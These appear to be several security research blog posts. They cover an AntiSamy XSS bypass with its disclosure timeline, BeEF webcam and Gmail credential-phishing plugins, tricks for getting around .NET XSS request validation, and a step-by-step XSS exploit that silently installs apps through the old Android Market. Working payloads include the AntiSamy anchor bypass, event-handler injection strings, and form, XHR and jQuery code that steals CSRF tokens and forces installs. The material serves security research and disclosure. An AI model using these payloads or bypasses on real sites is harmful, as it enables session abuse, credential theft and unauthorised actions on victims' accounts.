OWASP AntiSamy Project XSS

From the OWASP AntiSamy Project page’s “What is it” section:

It’s an API that helps you make sure that clients don’t supply malicious cargo code in the HTML they supply for their profile, comments, etc., that get persisted on the server. The term “malicious code” in regards to web applications usually mean “JavaScript.” Cascading Stylesheets are only considered malicious when they invoke the JavaScript engine. However, there are many situations where “normal” HTML and CSS can be used in a malicious manner. So we take care of that too.

So as far as I understand it, it is trying to prevent Cross Site Scripting (XSS). But to be fair, the user guide is a little bit more realistic:

AntiSamy does a very good job of removing malicious HTML, CSS and JavaScript, but in security, no solution is guaranteed. AntiSamy’s success depends on the strictness of your policy file and the predictability of browsers’ behavior. AntiSamy is a sanitization framework; it is up to the user how it does its sanitization. Using AntiSamy does not guarantee filtering of all malicious code. AntiSamy simply does what is described by the policy file.

Anyway, I found a XSS that worked in the case of the web application I was testing:

<a href="http://example.com"&/onclick=alert(8)>foo</a>

Version: antisamy-1.5.2.jar with all default configuration files there are.

Browsers tested (all working): Firefox 22.0 (on Mac OSX), Safari 6.0.5 (on Mac OSX), Internet Explorer 11.0.9200 (Windows 7) and Android Browser (Android 2.2).

Disclosure timeline:
July 16th, 2013: Wrote to Arshan (maintainer) about the issue
July 16th, 2013: Response, questions about version and browser compatiblity
July 16th, 2013: Clarification about versions/browser and that I only tried getNumberOfErrors(), informed that I’m planning to release this blog post end of August
July 23rd, 2013: Some more E-Mails about similar issue that was just resolved (not the same issue), including Kristian who comitted a fix
July 25th, 2013: Kristian sent a mail, he will have a look at the getNumberOfErrors() logic before releasing an update
July 31st, 2013: Asked if there are any updates on the issue, no response
Sept 09th, 2013: Asked if there are any updates on the issue, response that it should be fixed. Requested new .jar file
Oct 21st, 2013: Tested with the newest version available for download, antisamy 1.5.3. Problem still present. Public release.

Antisamy doesn’t give any error messages and getNumberOfErrors() is 0. Although the getCleanHTML() will give back sanitised code without the XSS, people relying only on the getNumberOfErrors() method to check if an input is valid or not will have a XSS.

Btw. the included configuration file names are somehow misleading (the names include company names like ebay). Those names are made up, doesn’t mean the companies use those conifg files at all. I don’t even know if they are using the antisamy project at all.

I can’t recommend relying on that project. Proper output encoding is important and is the real XSS prevention. And validating HTML with regex is hard. Very hard. Very, very hard. Don’t.

BeEF webcam and Gmail plugin

The BeEF project is one of the better tools to demonstrate the impacts of XSS. I always wondered why there was no webcam plugin, so here we go, I coded two new plugins. Both are already part of BeEF now, so just go on, update your BeEF installation and you’re good to go. I made a demo video for the webcam plugin, you can watch it on vimeo: BeEF webcam plugin using flash.

Additionally I wrote a Gmail phishing plugin, that uses a Cross Site Request Forgery (XSRF) on the Gmail logout button (invalidates the session on the server). That means you have to relogin to Gmail (in all tabs/windows of your browser). Then the plugin changes the XSSed site to a Gmail phishing page. If the user enters his credentials, they get submitted to the BeEF server/attacker. The user will be redirected to the real Gmail login page.

I’m still improving the plugins, so if you have any comments, let me know.

Microsoft .NET: Circumventing XSS request validation

Ha – I’m back!

I guess most of you know how annoying it is to start a Web Pentest and notice that the request validation of Microsoft IIS / .NET is on. I mean the big red error messages “A potentially dangerous request…” or for the .NET programmers, the HttpRequestValidationException. I nearly always found a way around it. There is a really nice post on stackoverflow about which kind of characters will trigger the exception. But for the lazy ones a list of unallowed strings I figured out myself a while ago:

&#
</
<?
<!
<a to <z
<A to <Z

Firstly, you can just not use the < and & character. Just find a place where you are already inside a tag and write something like [code] " onmouseover="alert(123)" alt=" [/code] Second of all, a string that is allowed and I claim to be the first one who found it (I'm sure I was just not able to find someone else who did it before, let me know!): [code] <%# [/code] Yeah, wow, I know. It's not really that impressive and you can't construct a working XSS with it, but you can use it to break the HTML code (at least in Internet Explorer). But nice anyway. Additionally, you can send your XSS payload in any of the HTTP Headers to .NET and it won't be checked. Or if there is a Web Service which does the same as the Web Application, just send a SOAP request with the XSS string (no HttpRequestValidationException there). Of course there are always different encodings that could work. For example you could try HTML (<) and Unicode (\u003c). Enjoy!

XSS – developing an exploit from HTML form to jQuery

As I’m currently really occupied with all the Android stuff, I thought about the blog posts of Jon Oberheide and Thomas Cannon about XSS in the Google Android Market Web Interface (edit: which used to be on http://market.android.com, which doesn’t exist nowadays). While I could have just used Jon Oberheide’s XSS exploit for jQuery, I thought it would be a good exercice for me to develop it on my own.

First of all, I’m talking about XSS, so in the nature of XSS we don’t have to bother about XSRF tokens, because we can just get them in our XSS attack. When you look at a HTTPS request that installs an app (e.g. in the HTTP Live Headers add-on for firefox), you will notice that the following request is sufficient to install an arbitrary app on the Android mobile:

POST https://market.android.com/install HTTP/1.1
Host: market.android.com
Cookie:  androidmarket=YOUR_COOKIE

id=com.example.very.evil.app.already.on.market&device=YOUR_DEVICE_ID&token=YOUR_TOKEN

The “YOUR” variables are all accessible in javascript when you are logged in, as you can see in the HTML source of the Android Market page (var initProps). Therefore you could generate a HTML/XSS payload like this:

<FORM action="https://market.android.com/install" id="formId" method="POST">
	<input id="id" type="hidden" name="id" value="com.example.very.evil.app.already.on.market" />
	<input id="device" type="hidden" name="device" value="" />
	<input id="xhr" type="hidden" name="xhr" value="1" />
	<input id="token" type="hidden" name="token" value="" />
</FORM>
<script>
document.getElementById('token').value = initProps['token'];
document.getElementById('device').value = initProps['selectedDeviceId'];
document.getElementById('formId').submit();
</script>

or in pure javascript:

<script>
myform = document.createElement("form");
myform.action = "https://market.android.com/install";
myform.method = "POST";

id = document.createElement("input");
id.name = "id";
id.type = "hidden"
id.value = "com.example.very.evil.app.already.on.market";
myform.appendChild(id);

device = document.createElement("input");
device.name = "device";
device.type = "hidden"
device.value = initProps['selectedDeviceId'];
myform.appendChild(device);

xhr = document.createElement("input");
xhr.name = "xhr";
xhr.type = "hidden"
xhr.value = "1";
myform.appendChild(xhr);

token = document.createElement("input");
token.name = "token";
token.type = "hidden"
token.value = initProps['token'];
myform.appendChild(token);

document.body.appendChild(myform);

myform.submit();
</script>

For example if you copy the following code into the URL bar of you Android Market Browser Tab (you must be logged in), it will install the official Swiss train service app (SBB) on your mobile:

javascript:myform = document.createElement("form"); myform.action = "https://market.android.com/install"; myform.method = "POST"; id = document.createElement("input"); id.name = "id"; id.type = "hidden"; id.value = "ch.sbb.mobile.android.b2c"; myform.appendChild(id); device = document.createElement("input"); device.name = "device"; device.type = "hidden"; device.value = initProps['selectedDeviceId']; myform.appendChild(device); xhr = document.createElement("input"); xhr.name = "xhr"; xhr.type = "hidden"; xhr.value = "1"; myform.appendChild(xhr); token = document.createElement("input"); token.name = "token"; token.type = "hidden"; token.value = initProps['token']; myform.appendChild(token); document.body.appendChild(myform); myform.submit();

The problem with that payload is, that it will prompt the user a json.txt file download. So let’s do some Ajax magic instead:

var xmlHttpObject = false;
if (typeof XMLHttpRequest != 'undefined') {
    xmlHttpObject = new XMLHttpRequest();
}
if (!xmlHttpObject) {
    try {
        xmlHttpObject = new ActiveXObject("Msxml2.XMLHTTP");
    }
    catch(e) {
        try {
            xmlHttpObject = new ActiveXObject("Microsoft.XMLHTTP");
        }
        catch(e) {
            xmlHttpObject = null;
        }
    }
}

//POST request
params = "com.example.very.evil.app.already.on.market&device=" + initProps['selectedDeviceId'] + "&xhr=1&token=" + initProps['token']
xmlHttpObject.open("POST", "install", true);
xmlHttpObject.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlHttpObject.setRequestHeader("Content-length", params.length);
xmlHttpObject.setRequestHeader("Connection", "close");
xmlHttpObject.send(params);

Now the following one line in your browser address bar will silently install the app (remove the app first if you already executed the last payload):

javascript: var xmlHttpObject = false; if (typeof XMLHttpRequest != 'undefined') { xmlHttpObject = new XMLHttpRequest(); }; if (!xmlHttpObject) { try { xmlHttpObject = new ActiveXObject("Msxml2.XMLHTTP"); } catch(e) { try { xmlHttpObject = new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) { xmlHttpObject = null; }; }; }; params = "id=ch.sbb.mobile.android.b2c&device=" + initProps['selectedDeviceId'] + "&xhr=1&token=" + initProps['token']; xmlHttpObject.open("POST", "install", true); xmlHttpObject.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xmlHttpObject.setRequestHeader("Content-length", params.length); xmlHttpObject.setRequestHeader("Connection", "close"); xmlHttpObject.send(params);

If we now take into account that we could simply use jquery, the following javascript code (proposed by Jon Oberheide) results:

$.post('/install', {
    id: 'com.example.very.evil.app.already.on.market',
    device: initProps['selectedDeviceId'],
    token: initProps['token'],
    xhr: '1' }, function(data) {
});

This is of course much more elegant, but I really needed a HTML form to jQuery exercise, so I appreciate jQuery again 🙂